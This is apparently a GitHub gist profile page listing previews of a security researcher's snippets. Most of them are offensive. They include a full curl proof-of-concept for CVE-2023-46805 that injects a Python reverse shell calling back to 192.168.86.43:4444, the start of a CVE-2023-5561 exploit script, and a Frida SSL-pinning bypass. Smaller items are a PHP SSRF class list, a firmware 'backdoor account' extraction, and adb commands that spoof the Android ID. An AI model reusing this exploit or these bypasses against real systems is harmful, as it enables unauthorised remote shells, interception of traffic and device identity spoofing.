Skip to content

Instantly share code, notes, and snippets.

View numanturle's full-sized avatar
🕳️

numan numanturle

🕳️
275 followers · 175 following
View GitHub Profile
@numanturle
numanturle / frida.py
Created June 13, 2021 12:31
AES encryption frida
import time
import frida
import json
enc_cipher_hashcodes = [] #cipher objects with Cipher.ENCRYPT_MODE will be stored here
dec_cipher_hashcodes = [] #cipher objects with Cipher.ENCRYPT_MODE will be stored here
def my_message_handler(message, payload):
#mainly printing the data sent from the js code, and managing the cipher objects according to their operation mode
if message["type"] == "send":
@numanturle
numanturle / cve-2023-46805.sh
Created January 16, 2024 16:03
cve-2023-46805 poc
curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"192.168.86.43\\\",4444));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'
@numanturle
numanturle / CVE-2023-5561.py
Last active November 2, 2023 19:31
CVE-2023-5561
import requests
import string
import warnings
import json
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore',InsecureRequestWarning)
proxy = {
@numanturle
numanturle / class.php
Created August 9, 2023 16:47
PHP SSRF Default
SoapClient
SplFileObject
tidy
@numanturle
numanturle / frida.js
Created May 3, 2023 10:50
ssl-root-bypass
setTimeout(function() {
Java.perform(function() {
console.log('');
console.log('======');
console.log('[#] Android Bypass for various Certificate Pinning methods [#]');
console.log('======');
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');
@numanturle
numanturle / vuln.c
Created July 19, 2023 08:50
snprintf(filename, PATH_MAX, "%s/%s", config->webroot, page); // vuln
@numanturle
numanturle / wait-for-it.sh
Last active July 3, 2023 08:23
wait-for-it.sh
#!/usr/bin/env bash
# Use this script to test if a given TCP host/port are available
WAITFORIT_cmdname=${0##*/}
echoerr() { if [[ $WAITFORIT_QUIET -ne 1 ]]; then echo "$@" 1>&2; fi }
usage()
{
cat << USAGE >&2
@numanturle
numanturle / cisco-ucs.yaml
Created June 22, 2023 09:00
Cisco UCS Director
id: cisco-ucs
info:
name: Cisco UCS Director
author: numanturle
severity: critical
tags: cisco,cisco imc,cisco-imc
requests:
- method: GET
@numanturle
numanturle / Vmg3312 B10b Firmware 1.00(AAPP.7) backdoor account
Last active June 18, 2023 16:26
Vmg3312 B10b Firmware Vmg3312 B10b Firmware backdoor account
root@bitforbyte:~/xxx# binwalk 100AAPP7D0.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
131072 0x20000 JFFS2 filesystem, big endian
JFFS2 filesystem extract
total 1492
1049502 drwxr-xr-x 18 root root 4096 Oct 27 23:33 .
@numanturle
numanturle / gist:68dd472c7bb702537a1222d2e9a1fa76
Created May 23, 2023 08:58
adb.sh
adb shell content query --uri content://settings/secure --where "name=\'android_id\'"
adb shell content delete --uri content://settings/secure --where "name=\'android_id\'"
adb shell content insert --uri content://settings/secure --bind name:s:android_id --bind value:s:7373de1e9e9670c2